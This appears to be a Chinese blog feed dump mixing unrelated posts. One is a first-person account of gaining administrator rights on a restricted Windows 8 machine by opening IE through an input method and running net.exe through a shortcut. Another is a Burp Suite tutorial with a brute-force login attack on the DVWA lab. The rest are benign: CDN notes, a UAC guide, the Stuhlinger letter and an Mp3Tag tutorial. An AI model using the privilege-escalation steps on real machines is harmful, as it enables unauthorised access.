]]>没想到就随手扫描到一台WIN8的系统,而且这个系统还装了QQ输入法WIN8纯净版。
当时我就想起初中时候的那个极品五笔的漏洞,就随手测试了一下,没想到在时隔7、8年后的今天,号称非常安全的WIN8系统居然还有如此大的漏洞。这边就把提权过程理一遍。
首先确认装有这个QQ拼音输入法
ctrl+空格调出托盘,找到这个选项
顺利开启IE浏览器
随手在地址栏输入D:\ file://d: 这样的命令都无法打开文件夹
本以为只要随便上传一个bat批处理,写上提权用的命令,然后利用IE下载下来打开运行即可,
没想到各种提示系统要求验证您的用户密码等,根本无法进行下载,可见常规方式真的行不通
微软还是有在修复这些漏洞,但是经过笔者的诸多尝试,最终发现有一处漏洞尚未填补
那就是文件菜单的-另存为选项,将网页文件另存为即可打开文件夹对话框
这个时候感觉已经快要接近胜利,但是经过半节课多的尝试,笔者始终无法再有实质性的突破
如图,文件夹选项卡已经被限定成几种mnt、txt等格式
不管是另存为bat或者打开其他程序,均无法显示或者正常打开。
而且就算保存成bat,在当前限定的mnt、txt等文件可查看的情况下根本也无法看到生成后的文件
可见WIN8还是对安全性进行了很大的提升
没错,就是用快捷方式的漏洞
在无法查看任何exe等可执行文件的情况下,包括net.exe 这个关键的提权程序时,实际上也可以直接创建快捷方式
对这个快捷方式直接赋参数运行。随便创建一个快捷方式,然后将目标改为系统目录里面的net文件 后面空格附上参数即可
创建用户Helper
将用户加入管理组,获取最高权限
好了激动人心的时刻到了
OK,登陆成功,用了一节课时间就可以了。
本次只测试过QQ拼音输入法,其他输入法如果能直接调出IE的话,利用相同的办法也可以直接提权,希望微软尽快修复这个漏洞吧。
Posted on http://www.cnblogs.com/maybreath/archive/2012/11/20/2778875.html
]]>以前一直在用CloudFlare,不过自从把博客放在GAE上后就没再用了,斯巴达前国内访问GAE的速度还是很理想的。
不过自从斯巴达开幕到现在,无论是谷歌搜索还是Gmail以及GAE,只要是谷歌的服务都是各种抽,有时候挂代理也没用。
回到CloudFlare上,虽然它号称在全世界都有节点,但我用的时候都是连接到美国节点而不是日本节点,加速后比不加速还慢。
不过CloudFlare稳定性倒是没的说,虽然国内访问慢点但绝对不会抽风,再加上节点多,运营时间长,在国内站长中也有着良好的口碑。
CloudFlare并不限制免费用户添加网站的数量,功能也足以应付大部分网站的日常需求,最重要的是,它不限制流量。
后来我尝试了CDNZZ,一家新兴的提供全球互联网加速的云服务提供商。
CDNZZ提供的加速节点有大陆、香港、美国、新加坡,其中大陆节点包括:河北电信,河北联通,河北移动,贵州电信,江西联通,广东电信,广东移动(即将上线)。
不过其大陆的节点要网站备案才能使用,而香港节点的带宽已经满了,新用户都是接入到新加坡节点和美国节点,不过付费用户会优先接入香港节点。
至于速度,由于我不是付费用户,所以不能测试香港节点的速度,不过其新加坡节点的速度还是可以的,起码比直连要快点。
免费用户只能添加一个网站,每月初始免费流量为1GB,通过邀请用户和参加活动可以获得更多免费流量。
目前CDNZZ处于邀请注册阶段,需要邀请码才能注册,下面附上几个邀请码:
175464632507 175414593413 175435835376 175425905256 175480626038
175420705419 175478267979 175434928486 175497768924 175483131870
综上所述,如果是想要长期使用CDN,又追求稳定的话,建议使用CloudFlare;而如果你像我一样,只是暂时避避斯巴达的和谐之光的话,CDNZZ是一个不错的选择。
不过这些免费的国外CDN始终不是办法,要想提升用户体验,备案并使用国内的CDN才是解决之道。
]]>优酷(中文字幕):
YouTube:
]]>对此,我做出了一个艰难的决定:把博客转移至BAE。在未来几天内,我会逐步完善这个新博客,并把以前的文章转移过来。很遗憾,由于博客系统和数据库都不同,我无法把评论也转移过来。不过,部署在GAE上的博客仍然会保留。
目前,这个博客的域名是 http://www.sinosky.org ,等到完善以后,会转移至原来的域名 http://www.sinosky.org ,旧博客的域名将会是 http://old.sinosky.org 。
P.S 现在是凌晨6点,百度的蜘蛛还没走……
]]>1.代理–Burp Suite带有一个代理,通过默认端口8080上运行,使用这个代理,我们可以截获并修改从客户端到web应用程序的数据包.
2.Spider(蜘蛛)–Burp Suite的蜘蛛功能是用来抓取Web应用程序的链接和内容等,它会自动提交登陆表单(通过用户自定义输入)的情况下.Burp Suite的蜘蛛可以爬行扫描出网站上所有的链接,通过对这些链接的详细扫描来发现Web应用程序的漏洞 。
3.Scanner(扫描器)–它是用来扫描Web应用程序漏洞的.在测试的过程中可能会出现一些误报。重要的是要记住,自动扫描器扫描的结果不可能完全100%准确.
4.Intruder(入侵)–此功能呢可用语多种用途,如利用漏洞,Web应用程序模糊测试,进行暴力猜解等.
5.Repeater(中继器)–此功能用于根据不同的情况修改和发送相同的请求次数并分析.
6.Sequencer–此功能主要用来检查Web应用程序提供的会话令牌的随机性.并执行各种测试.
7.Decoder(解码)–此功能可用于解码数据找回原来的数据形式,或者进行编码和加密数据.
8.Comparer–此功能用来执行任意的两个请求,响应或任何其它形式的数据之间的比较.
代理功能使我们能够截获并修改请求.为了拦截请求,并对其进行操作,我们必须通过Burp Suite配置我们的浏览器.
一旦在浏览器上设置好之后,就打开Burp Suite,去Proxy项进行Intercept(截断),需要确保intercept is on.
打开alerts标签,可以看到代理正运行在8080端口.我们可以在Proxy–>options下来修改这个配置.
打开Proxy下的options标签
在这里我们可以编辑代理正在监听的端口,甚至添加一个新的代理监听.Burp也有向SSL保护网站提交证书的选项.默认情况下,Burp创建一个自签名的证书之后立即安装.”generate CA-signed per-host certificates”选项选中之后Burp的证书功能将生成一个我们能够链接的证书签署的特定主机.在这里我们关心的唯一事情是,当一个用户链接到一个SSL保护的网站时,能后减少网站警告提示的次数.
如果我们不选中”listen on loopback interface only”选项,意味着Burp Proxy可以作为一个网络上其它系统的代理。这意味着在同一网络中的任何计算机都可以使用Burp Proxy功能成为代理,并中继通过它的流量.
“support invisible proxying for non-proxy-aware client”选项是用于客户端不知道他们使用的是代理的情况下.这意味着代理设置不是设置在浏览器,有时候设置在hosts文件中.在这种情况下,和将代理选项设置在浏览器本身所不同的是Burp需要知道它是从一个非代理客户端接收流量的.”redirect to host”和”redirect to port”选项将客户端重定向到我们在该选项后设置的主机和端口。
同样,我们可以拦截请求,并根据我们指定的规则返回响应.
这里有个选项用来修改从响应中接收到的html网页。我们可以取消隐藏的表单字段,删除javascript等。还有一个选项用自定义字符串替换掉寻找到的特定的模式.我们需要用指定正则表达式。Burp将解析请求或者响应以期望能够寻找到这种模式,将会用自定义的字符串来替换它.
Burp Spider用来映射Web应用程序.它会自动抓去Web应用程序的链接,提交它发现的所有登陆表单,从而详细的分析整个应用程序.这些链接会传递给Burp Scanner,进行详细的扫描.在这种情况下,我们将使用上DVWA(Damn Vulnerable Web Application).只是需要DVMA使用你的浏览器,确保Burp Suite上的inerrcept is on,并且得到Brup截取的请求,右键单击拦截的请求,选择”Send to Spider”发送给蜘蛛.
接下来会弹出一个警告弹窗让我们”add item to scope(添加项目到作用域)”.点击”Yes”.一个范围将在我们运行的测试目标上定义好.
我们能够在site map–>target标签看到一个url已经添加进作用域.我们也能看到一些其它的目标已经在目标列表中添加好了.Burp会自动使用代理浏览我们定义好的目标网页.我们可以使用单击右键–>”add item to scope(添加项目到作用域)”添加任何项目到我们的作用域.
进入Scope标签,我们能够看到DVWA应用已经添加到作用域.
接下来我们进入Spider标签,点击”options(选项)”,我们可以设置各种选项当运行Burp检测应用程序的时候.我没有可以让Burp检查robotx.txt文件(check for the robots.txt),它会尝试抓去网站管理员不允许搜索引擎索引的目录.另外一个重要的选项是”passively spider as you browse(被动蜘蛛浏览)”。基本上Burp Spider可以以被动和主动模式运行,选择这个就要求Burp Spider保持新的内容和链接进行扫描,因为我们浏览应用程序的时候使用了Burp proxy。
另外一个重要的选项是”application login(应用程序登陆)”.一旦Burp Spider提交一个登陆表单的时候就开始爬行(抓取).它可以自动提交我们提供给它的证书.我们同样可以设置admin/password凭证,设置好之后,他们会做为DVWA中的凭证.因此Burp Spider可以自动提交那些信息凭证,并且保持爬行抓取的状态希望能够获得更多的新的信息.你也可以在thread(线程)项来修改线程数.
要开始爬行抓去Web应用程序,只需要右键点击目标展开目标.然后在展开的dvwa项上单击鼠标右键选择”Spider this brach”
这样就会启动Burp Spider,在Spider control标签下我们会看到正在做出的请求,我们也可以为Burp Spider自定义一个范围.
一旦运行完成之后,我们在dvwa分支上会看到很多新的URL,这些URL为我们提供了很多有关Web信用程序的信息.然后我们就可以发送这些链接给Burp Scanner来进行漏洞扫描.Burp Scanner只有在专业版上才有这个功能.
Burp Intruder可以用于利用漏洞,模糊测试,暴力猜解等。在这种情况下我们将使用Burp Suite的Intruder对DVWA进行暴力猜解攻击.浏览到DVWA,单击”Burp Force(暴力猜解)”,随便输入username和password,确保Burp Suite上的”intercept is on(监听是打开的)”.然后点击登陆.
登陆请求将被Burp Suite监听拦截到,然后右键单击”send to intruder(发送给入侵者功能)”
以上的操作会将请求信息发送给intruder功能.进入intruder标签,配置Burp Suite来发起暴力猜解的攻击.在target标签下可以看到已经设置好了要请求攻击的目标
进入positions(选项)标签,我们可以看到之前发送给Intruder的请求.一些重要的信息用其它颜色显示.基本上是由Burp Suite进行猜解,是为了弄明白暴力猜解的这些请求中什么是发生改变的. 这种情况下只有用户和密码是不停的发生改变.我们需要相应的配置Burp.
单击右边的”clear”按钮,将会删除所有用不同颜色演示的重要的信息.接下来我们需要配置Burp在这次攻击中只把用户名和密码做为参数.选中本次请求中的username(本例中用户名是指”infosecinstiture”)然后单击”Add(添加)”.同样的将本次请求中的password也添加进去.这样操作之后,用户名和密码将会成为第一个和第二个参数.一旦你操作完成,输出的样子应该如下图所示:
接下来我们需要设置这次攻击的攻击类型,默认情况下的攻击类型是”Sniper(狙击手)”,在本例中,我们将使用”Cluster Bomb(集束炸弹)”的攻击类型.有四种攻击类型,分别是singer,battering ram,pitchfork,cluster bomb.下图中我们看到的我们的攻击类型是”Cluster Bomb’
进入payload标签,确保”payload set”的值是1,点击”load(加载)”加载一个包含用户名的文件 。本例中我们使用一个很小的文件来进行演示.加载之后用户名文件中的用户名会如下图所示
同样设置”payload set”的值为2,点击”load”加载一个密码字典文件。
进入”options”标签,确保results下的”store requests”和”store responses”已经选择.
点击左上角的”Intruder”开始攻击,会看到弹出一个windows窗口,其中有我们制作好的所有请求。
我们如何确定哪一个登陆请求是成功的呢?通过一个成功的请求相比不成功的,是有一个不同的响应状态.在这种情况下,我们看到的用户名”admin”和密码”password”的响应长度相比其它的请求,有所不同.
根据不同的响应请求,点击”request”.如果点击”response”选项,我们看到文字”welcome the password protected area admin”出现在响应中,这意味着这次请求中使用的username/password是正确的.
Burp的入侵功能是Burp Suite最强大的功能之一.我们要仔细的学习它的使用.
通过Burp Repeater功能,我们可以手动修改一个请求,并且发送出去,来分析返回的响应.我们需要从不同的地方发送请求给Burp Repeater,比如入侵者,代理等.发送一个请求给Repeater,只需要单击右键”send to Repeater”.
点开Repeater标签,会看到request,也可以看到名为1,2,3的3个标签.
我们也可以看到requestparams,header,hex和raw格式的请求,发送请求之前,我们可以修改其中的任何一个.
只修改Params请求下的username=admin,password=password,点击go,这样就会发送这个请求.
我们可以分析response部分返回的响应.
还有几部分功能没有翻译出来,由于英文水平以及工作经验欠缺,很多专业词汇可能翻译不是很准确,贴上原文URL,可以对照阅读.
原文地址:http://resources.infosecinstitute.com/burp-suite-walkthrough/
Posted on http://www.nxadmin.com/tools/689.html
]]>2.“你有权限登录?你是管理员吗?“
3.“这不是一个bug,这是一个功能。”
4.“这是很奇怪啊……”
5.“以前从来没有过的。”
6.“昨天它还好好的。”
7.“这怎么可能呢?”
8.“你有检查过你的网络连接/设置吗?”(特别是当应用程序太慢的时候)
9.“只有输入错误的数据才能结束掉它吗?”
10.“你的数据肯定有问题。”
11.“我已经几个星期都没碰过那代码了!”
12.“你肯定用错了类库的版本。”
13.“这只是不凑巧而已,不必担心。”
14.“我不可能对每一个都做单元测试!”
15.“这不是我的错。我用过都是开源的库。“
16.“它运行了,但我没有写任何单元测试。”
17.“一定有人改了我的代码。”
18.“你检查过你的系统是否有病毒吗?”
19.“即使它不运行,你感觉到有什么变化吗?”
20.“你不能在操作系统上使用该版本。”
21.“你为什么要那么做?”
22.“程序崩溃的时候你在哪?”
23.“我敢肯定我已经修复了它。”
24.“你升级后重启了应用服务器和数据库服务器吗?”
25.“你安装了哪个版本的JRE/JDK/JVM?”
]]>
_
_
刚刚更新了魔方3.30正式版,发现一直禁用的UAC被打开了,通过组策略禁用后再次运行魔方,结果又给打开了。翻看魔方的更新日志,发现官方给出的解释是
“在10月10日国内的朋友打上微软针对Win8操作系统的累积补丁后,可能会碰到Win8提示魔方不兼容的问题,经过和微软的排查沟通,这个问题已经在这个版本里面得到彻底的解决!其主要原因是魔方在关闭UAC后,Win8系统全屏Modern应用会碰到无法正常运行的情况,新版本魔方会自动检测是否有这个问题并会自动修复。在此,也建议大家不要使用老版本的Win7下的软件来关闭系统UAC。”
魔方这个所谓的修复,看似很贴心,但这又不是bug,用得着“修复”吗?说得难听点,这是在未经过用户允许、没有任何提示的情况下修改系统设置,而且每次启动都会修改,快赶上流氓软件了。我知道关闭UAC会导致Modern应用无法运行,不过我也不想使用Modern应用。自从装上Windows8后,我真正使用的与Modern有关的应用恐怕只有开始界面了。开不开UAC是我的自由,用户有权在便捷与安全间选择,软件不应该强制让用户使用更安全的设置。
如何彻底关闭UAC及如何设置UAC不黑屏
关于UAC的利弊,一直以来争论有很多,简而言之就是开启UAC更安全,凡是需要更改系统的操作都要经过用户的许可;而关闭UAC更方便,不用进行烦人的验证,也不用再“以管理员身份运行“程序了。如果只访问固定的网站和使用固定的软件的话,可以关闭UAC,不过如果对电脑不太了解,还是建议保持开启。
如何彻底关闭UAC
注意:在Windows8中关闭UAC会导致无法使用Modern应用,包括应用商店。
一般常见的关闭UAC的方法就是在 控制面板 – 操作中心 – 更改用户账户控制设置 中把选项调到最低,即 从不通知 。不过这样并不能真正关闭UAC,当安装或运行需要更改系统的软件时,如果不“以管理员身份运行“程序的话,会导致程序不能正常安装和使用,最为常见的就是批处理程序了。
要想真正关闭UAC,我们需要通过修改组策略来完成。打开 控制面板 – 管理工具 – 本地安全策略 ,在 本地策略 – 安全选项 中,我们能看到几个 用户账户控制 开头的策略,这些策略就是有关UAC的了。而要想彻底关闭UAC,只要把 用户账户控制:以管理员批准模式运行所有管理员 设为 已禁用 就可以了,设置好后需要重启系统才能生效。前面已经提到了,魔方3.30正式版会在运行时会把这条策略改为已启用,即开启UAC,所以,在魔方更新以前,请不要运行魔方主程序。
如何设置UAC不黑屏
所谓黑屏,就是弹出验证的时候,会降低屏幕亮度,黑屏不仅不会提高系统安全,还会影响用户体验。试想一下,如果在工作或游戏的时候,忽然屏幕变暗了,不会感觉影响心情吗?把 **用户帐户控制: 提示提升时切换到安全桌面 **设置为 已禁用 就可以关闭黑屏了。
]]>一年后,网站每月的独立用户访问量达到11万,页面浏览量150万,每月入账1万美元。这个博客很简单,就是每天针对一款游戏发点儿信息,而且多数内容都转自游戏官方博客。
我很振奋,也很得意。于是,略作修改后,便将创意提交到了一个创业大会上。
但一位成功的创业人士却对我说:“这不算创业,只是做了个网站。”
的确,赚了点钱未必就能叫创业。不菲的流量同样如此。
那怎么才算创业?
有人会把我的Cranky.com算作创业吗?这个创意很简单,执行也很容易,而且不需要什么技术,都由我一个人搞定。这不算创业吗?
于是,我开始“真的”创业了。我这次弄了点钱,请了个程序员,花了一年时间为青少年开发了一个资料类型的平台,名叫Funhouse。
我花了好几千美元,虽然有6000多会员,但却没有收入。现在我能自称创业人士了吗?
可惜,我却没有获得当年做免费网站时的“创业成功”——没有广告收入,没有多少流量。
如果创业的定义就是宁肯亏本也要搞一个伟大的创意,期待着某天被人收购。那很抱歉,我还是更愿意做能赚钱的免费网站。
为什么?因为我不想改变世界,至少现在不想。我只是想赚点钱花。
本文编译自博客blog.crranky.com,作者麦克•摩恩(Mike Moen)曾经多次创业。
]]>
1970年,赞比亚修女 Mary Jucunda 给 Ernst Stuhlinger 博士写信问道:目前地球上还有这么多小孩子吃不上饭,他怎么能舍得为远在火星的项目花费数十亿美元。Stuhlinger 很快给 Jucunda 修女回了信,他这封真挚的回信随后由NASA以《为什么要探索宇宙》为题发表。
1970年5月6日
亲爱的Mary Jucunda修女:
每天,我都会收到很多类似的来信,但这封对我的触动最深,因为它来自一颗慈悲的饱含探求精神的心灵。我会尽自己所能来回答你这个问题。
首先,请允许我向你以及你勇敢的姐妹们表达深深的敬意,你们献身于人类最崇高的事业:帮助身处困境的同胞。
在来信中,你问我在目前地球上还有儿童由于饥饿面临死亡威胁的情况下,为什么还要花费数十亿美元来进行飞向火星的航行。我清楚你肯定不希望这样的答案:“哦,我之前不知道还有小孩子快饿死了,好吧,从现在开始,暂停所有的太空项目,直到孩子们都吃上饭再说。”事实上,早在了解火星之旅的技术之前,我已经对儿童的饥荒问题有所了解。而且,同我很多朋友的看法一样,我认为此时此刻,我们就应该开始通往月球、火星乃至其他行星的伟大探险。从长远来看,相对于那些要么只有年复一年的辩论和争吵,要么连妥协之后也迟迟无法落实的各种援助计划来说,我甚至觉得探索太空的工程给更有助于解决人类目前所面临的种种危机。
在详细说明我们的太空项目如何帮助解决地面上的危机之前,我想先简短讲一个真实的故事。那是在400年前,德国某小镇里有一位伯爵。他是个心地善良的人,他将自己收入的一大部分捐给了镇子上的穷人。这十分令人钦佩,因为中世纪时穷人很多,而且那时经常爆发席卷全国的瘟疫。一天,伯爵碰到了一个奇怪的人,他家中有一个工作台和一个小实验室,他白天卖力工作,每天晚上的几小时的时间专心进行研究。他把小玻璃片研磨成镜片,然后把研磨好的镜片装到镜筒里,用此来观察细小的物件。伯爵被这个前所未见的可以把东西放大观察的小发明迷住了。他邀请这个怪人住到了他的城堡里,作为伯爵的门客,此后他可以专心投入所有的时间来研究这些光学器件。
然而,镇子上的人得知伯爵在这么一个怪人和他那些无用的玩意儿上花费金钱之后,都很生气,“我们还在受瘟疫的苦”,他们抱怨道,“而他却为那个闲人和他没用的爱好乱花钱!”伯爵听到后不为所动,“我会尽可能地接济大家”,他表示,“但我会继续资助这个人和他的工作,我确信终有一天会有回报。”
果不其然,他的工作赢来了丰厚的回报:显微镜。显微镜的发明给医学带来了前所未有的发展,由此展开的研究及其成果,消除了世界上大部分地区肆虐的瘟疫和其他一些传染性疾病。
伯爵为支持这项研究发明所花费的金钱,其最终结果大大减轻了人类所遭受的苦难,这回报远远超过单纯将这些钱用来救济那些遭受瘟疫的人。
我们目前面临类似的问题。美国总统的年度预算共有2000亿美元,这些钱将用于医疗、教育、福利、城市建设、高速公路、交通运输、海外援助、国防、环保、科技、农业以及其他多项国内外的工程。今年,预算中的1.6%将用于探索宇宙,这些花销将用于阿波罗以计划、其他一些涵盖了天体物理学、深空天文学、空间生物学、行星探测工程、地球资源工程的小项目以及空间工程技术。为担负这些太空项目的支出,平均每个年收入10,000美元的美国纳税人需要支付约30美元给太空,剩下的9,970美元则可用于一般生活开支、休闲娱乐、储蓄、别的税项等花销。
也许你会问:“为什么不从纳税人为太空支付的30美元里抽出5美元或3美元或是1美元来救济饥饿的儿童呢?”为了回答这个问题,我需要先简单解释一下我们国家的经济是如何运行的,其他国家也是类似的情形。政府由几个部门(如内政部、司法部、卫生部与公众福利部、教育部、运输部、国防部等)和几个机构(国家科学基金会、国家航空航天局等)组成,这些部门和机构根据自己的职能制定相应的年度预算,并严格执行以应对国务委员会的监督,同时还要应付来自预算部门和总统对于其经济效益的压力。当资金最终由国会拨出后,将严格用于经预算批准的计划中的项目。
显然,NASA的预算中所包含的项目都是和航空航天有关的。未经国会批准的预算项目,是不会得到资金支持的,自然也不会被课税,除非有其他部门的预算涵盖了该项目,借此花掉没有分配给太空项目的资金。由这段简短的说明可以看出,要想援助饥饿的儿童,或在美国已有的对外援助项目上增加援助金额,需要首先由相关部门提出预算,然后由国会批准才行。
要问是否同意政府实施类似的政策,我个人的意见是绝对赞成。我完全不介意每年多付出一点点税款来帮助饥饿的儿童,无论他们身在何处。
我相信我的朋友们也会持相同的态度。然而,事情并不是仅靠把去往火星航行的计划取消就能轻易实现的。相对的,我甚至认为可以通过太空项目,来为缓解乃至最终解决地球上的贫穷和饥饿问题作出贡献。解决饥饿问题的关键有两部分:食物的生产和食物的发放。食物的生产所涉及的农业、畜牧业、渔业及其他大规模生产活动在世界上的一些地区高效高产,而在有的地区则产量严重不足。通过高科技手段,如灌溉管理,肥料的使用,天气预报,产量评估,程序化种植,农田优选,作物的习性与耕作时间选择,农作物调查及收割计划,可以显著提高土地的生产效率。
人造地球卫星无疑是改进这两个关键问题最有力的工具。在远离地面的运行轨道上,卫星能够在很短的时间里扫描大片的陆地,可以同时观察计算农作物生长所需要的多项指标,土壤、旱情、雨雪天气等等,并且可以将这些信息广播至地面接收站以便做进一步处理。事实证明,配备有土地资源传感器及相应的农业程序的人造卫星系统,即便是最简单的型号,也能给农作物的年产量带来数以十亿美元计的提升。
如何将食品发放给需要的人则是另外一个全新的问题,关键不在于轮船的容量,而在于国际间的合作。小国统治者对于来自大国的大量食品的输入很难做出准确的判断,他们害怕伴随着食物一同而来的还有外国势力对其统治地位的影响。恐怕在国与国之间消除隔阂之前,饥饿问题无法得以高效解决了。我不认为太空计划能一夜之间创造奇迹,然而,探索宇宙有助于促使问题向着良好的方向发展。
以最近发生的阿波罗13号事故为例。当宇航员处于关键的大气层再入期时,为了保证通讯畅通,苏联关闭了境内与阿波罗飞船所用频带相同的所有广播通信。同时派出舰艇到太平洋和大西洋海域以备第一时间进行搜救工作。如果宇航员的救生舱降落到俄方舰船附近,俄方人员会像对待从太空返回的本国宇航员一样对他们进行救助。同样,如果俄方的宇宙飞船遇到了类似的紧急情况,美国也一定会毫不犹豫地提供援助。
通过卫星进行监测与分析来提高食品产量,以及通过改善国际关系提高食品发放的效率,只是通过太空项目提高人类生活质量的两个方面。下面我想介绍另外两个重要作用:促进科学技术的发展和提高一代人的科学素养。
登月工程需要历史上前所未有的高精度和高可靠性。面对如此严苛的要求,我们要寻找新材料,新方法;开发出更好的工程系统;用更可靠的制作流程;让仪器的工作寿命更长久;甚至需要探索全新的自然规律。
这些为登月发明的新技术同样可以用于地面上的工程项目。每年,都有大概一千项从太空项目中发展出来的新技术被用于日常生活中,这些技术打造出更好的厨房用具和农场设备,更好的缝纫机和收音机,更好的轮船和飞机,更精确的天气预报和风暴预警,更好的通讯设施,更好的医疗设备,乃至更好的日常小工具。你可能会问为什么先设计出宇航员登月舱的维生系统,而不是先为听力障碍患者造出有声阅读设备呢。答案很简单:解决工程问题时,重要的技术突破往往并不是按部就班直接得到的,而是来自能够激发出强大创新精神,能够燃起的想象力和坚定的行动力,以及能够整合好所有资源的充满挑战的目标。
太空旅行无可置疑地是一项充满挑战的事业。通往火星的航行并不能直接提供食物解决饥荒问题。然而,它所带来大量的新技术和新方法可以用在火星项目之外,这将产生数倍于原始花费的收益。
若希望人类生活得越来越好,除了需要新的技术,我们还需要基础科学不断有新的进展。包括物理学和化学,生物学和生理学,特别是医学,用来照看人类的健康,应对饥饿、疾病、食物和水的污染以及环境污染等问题。
我们需要更多的年轻人投入到科学事业中来,我们需要给予那些投身科研事业的有天分的科学家更多的帮助。随时要有富于挑战的研究项目,同时要保证对项目给予充分的资源支持。在此我要重申,太空项目是科技进步的催化剂,它为学术研究工作提供了绝佳和实践机会,包括对月球和其他行星的研究、物理学和天文学、生物学和医学科学等学科,有它,科学界源源不断出现令人激动不已研究课题,人类得以窥见宇宙无比瑰丽的景象;为了它,新技术新方法不断涌现。
由美国政府控制并提供资金支持的所有活动中,太空项目无疑最引人瞩目也最容易引起争议,尽管其仅占全部预算的1.6%,不到全民生产总值的千分之三。作为新技术的驱动者和催化剂,太空项目开展了多项基础科学的研究,它的地位注定不同于其他活动。从某种意义上来说,以太空项目的对社会的影响,其地位相当于3-4千年前的战争活动。
如果国家之间不再比拼轰炸机和远程导弹,取而代之比拼月球飞船的性能,那将避免多少战乱之苦!聪慧的胜利者将满怀希望,失败者也不用饱尝痛苦,不再埋下仇恨的种子,不再带来复仇的战争。
尽管我们开展的太空项目研究的东西离地球很遥远,已经将人类的视野延伸至月亮、至太阳、至星球、直至那遥远的星辰,但天文学家对地球的关注,超过以上所有天外之物。太空项目带来的不仅有那些新技术所所提供的生活品质的提升,随着对宇宙研究的深入,我们对地球,对生命,对人类自身的感激之情将越深。太空探索让地球更美好。
随信一块寄出的这张照片,是1968年圣诞节那天阿波罗8号在环月球轨道上拍摄的地球的景象。太空项目所能带来的各种结果中,这张照片也许是其中最可贵的一项。它开阔了人类的视野,让我们如此直观地感受到到地球是广阔无垠的宇宙中如此美丽而又珍贵的孤岛,同时让我们认识到地球是我们唯一的家园,离开地球就是荒芜阴冷的外太空。无论在此之前人们对地球的了解是多么的有限,对于破坏生态平衡的严重后果的认识是多么的不充分。在这张照片公开发表之后,面对人类目前所面临的种种严峻形势,如环境污染、饥饿、贫穷、过度城市化、粮食问题、水资源问题、人口问题等等,号召大家正视这些严重问题的呼声越来越多。人们突然表示出对自身问题的关注,不能说和目前正在进行的这些初期太空探索项目,以及它所带来的对于人类自身家园的全新视角无关。
太空探索不仅仅给人类提供一面审视自己的镜子,它还能给我们带来全新的技术,全新的挑战和进取精神,以及面对严峻现实问题时依然乐观自信的心态。我相信,人类从宇宙中学到的,充分印证了Albert Schweitzer那句名言:“我忧心忡忡地看待未来,但仍满怀美好的希望。”
向您和您的孩子们致以我最真挚的敬意!
您诚挚的
恩斯特史都林格
科学副总监
]]>访问 Mp3Tag 官网下载页面,下载 Mp3Tag 最新版本。
运行 Mp3Tag 安装程序,首先选择安装程序的语言,选择简体中文 Chinese (Simplified)。此后的安装过程较为简单,需要注意的是在选择安装组件设置处可以勾选最后一项 Explorer Context Menu,这样我们就可以在资源管理器右键菜单中使用 Mp3Tag 选项快速打开需要编辑标签的文件或文件夹。
启动 Mp3Tag 之后,我们会发现 Mp3Tag 仍然是英文界面,首先我们设置一下界面语言。
点击 Tools 菜单,选择 Options 选项,然后在弹出的 Options 对话框中选择 Languages 类别,在右侧语言列表中选择“Simpl. Chinese 简体中文”,点击 OK 确定。Mp3Tag 会提示需要重新启动程序,确认之后重新启动即可。
“工欲善其事,必先利其器”,现在我们对 Mp3Tag 进行一些初始设置。
点击工具菜单,选择选项,或者按下 Ctrl + O 快捷键组合,启动 Mp3Tag 选项设置。
首先选择“标签”类别,勾选“使用光标移动键或鼠标单击时保存标签”,这样在切换不同音乐文件时可以自动保存音乐标签。
然后选择“标签”类别中的“Mpeg”子类别,推荐大家参照下图设置,将 MP3 标签保存为 ID3v2.3 格式。因为 ID3v2.3 UTF-16 是目前兼容性最佳的 MP3 标签格式,主流音频播放器及 Windows 7的库都支持 ID3v2.3 标签,在 Linux 系统中也不会出现乱码问题。
现在选择“标签面板”类别,如果大家对 Mp3Tag 主界面左侧的标签面板可编辑的标签字段感到不满意的话,可以在此添加。
设置完毕,点击确定即可。
首先我们学习如何直接使用 Mp3Tag 编辑音乐标签,点击文件菜单中的“改变工作目录”“添加目录”或者“打开播放列表或Cuesheet”可以将需要编辑的音乐文件添加到 Mp3Tag 中,Mp3Tag 支持一下常见音频格式:
Mp3Tag 主界面如下图所示,左侧为标签面板,在此可对音乐标签进行手动编辑,右侧为文件列表,在此可以选择不同的音频文件(如果打开的是 cue 文件的话,那么此处便为不同的音轨)。
首先在右侧文件列表选择需要编辑标签的文件(可以选择多个文件进行编辑),然后在左侧标签面板就可以对音乐标签进行编辑了,按下 Tab 键可以切换不同的标签字段。如果之前勾选了“使用光标移动键或鼠标单击时保存标签”选项,在编辑完毕之后就可以按下 Ctrl + N 切换到下一个文件,Mp3Tag 会提示已经保存标签,按下回车键确认即可继续编辑。需要特别注意的是如果之前没有勾选“使用光标移动键或鼠标单击时保存标签”选项的话,Mp3Tag 是不会在切换音乐文件时自动保存标签的,因此所做的修改会全部丢失!
现在我们来学习如何实现标签和文件名之间的转换,这也是我们经常要用到的功能。
首先是从标签到文件名的转换,首先选择需要转换的文件,然后点击转换菜单中的“标签 – 文件名”选项,弹出如下图所示的对话框。
在格式串文本框中填入符合自己需要的格式串,可以控制转换后的文件名,右侧的黑色小箭头可以选择常用字段,下面是一些常见字段的含义:
格式串文本框下方可以预览转换之后的的文件名,设置完毕之后点击确定,Mp3Tag 会提示对多少个文件名进行了修改。
然后是从文件名到标签的转换,首先选择需要转换的文件,然后点击转换菜单中的“文件名 – 标签”选项,弹出如下图所示的对话框。
与“标签 – 文件名”类似,此处我们也需要填入格式串,格式串文本框下方可以预览转换之后的标签,设置完毕之后点击确定,Mp3Tag 会提示推导出多少文件的标签。
Mp3Tag 还可以实现从文件名到文件名的转换,但是该功能并不常用,此处不再赘述。
如果有收集整张专辑的习惯,那么使用 Mp3Tag 可以在网络上获取音乐标签,而无需手动输入,非常方便。
Mp3Tag 内置了 freedb、Amazon、discogs 和 MusicBrainz 几个标签数据源,通常而言,使用 freedb 和 Amazon 可以找到许多流行的欧美音乐标签信息,其他两个标签数据源并不常用,可以不予理会。
使用内置标签数据源非常方便。对于 Amazon.com 来说,选择整张专辑的音乐文件,然后选择“标签数据源”菜单中的“Amazon.com”,然后在弹出的对话框中输入搜索关键词(请尽量精确输入),输入完毕之后点击下一步,稍等片刻就会弹出搜索结果列表,选择相应专辑之后点击下一步,进入如下图所示的调整标签信息对话框。
此处需要调整音轨,也就是把文件和相应的音轨对应起来,在文件列表中用鼠标拖动文件与标签信息相对应即可。因为默认排列的方式是按文件名排列,如果原来的音乐文件有音轨信息,首先使用“标签 – 文件名”将文件名转换成以音轨序号开始的形式就可以省去这一步骤。调整完毕后点击确定即可。
